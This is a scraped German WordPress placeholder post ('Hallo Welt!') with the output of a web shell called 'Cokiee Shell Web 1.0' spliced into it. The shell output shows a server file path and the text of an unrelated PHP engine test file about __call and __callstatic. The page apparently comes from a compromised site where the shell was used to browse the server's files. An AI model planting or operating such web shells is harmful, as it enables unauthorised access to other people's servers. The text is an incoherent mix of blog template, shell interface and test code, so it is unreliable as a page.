Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/Zend/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/Zend/tests/bug45186.phpt |
--TEST-- Bug #45186 (__call depends on __callstatic in class scope) --FILE-- <?php class bar { public function __call($a, $b) { print "__call:\n"; var_dump($a); } static public function __callstatic($a, $b) { print "__callstatic:\n"; var_dump($a); } public function test() { self::ABC(); bar::ABC(); call_user_func(array('BAR', 'xyz')); call_user_func('BAR::www'); call_user_func(array('self', 'y')); call_user_func('self::y'); } static function x() { print "ok\n"; } } $x = new bar; $x->test(); call_user_func(array('BAR','x')); call_user_func('BAR::www'); call_user_func('self::y'); ?> --EXPECTF-- __call: string(3) "ABC" __call: string(3) "ABC" __call: string(3) "xyz" __call: string(3) "www" __call: string(1) "y" __call: string(1) "y" ok __callstatic: string(3) "www" Warning: call_user_func() expects parameter 1 to be a valid callback, cannot access self:: when no class scope is active in %sbug45186.php on line 31
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare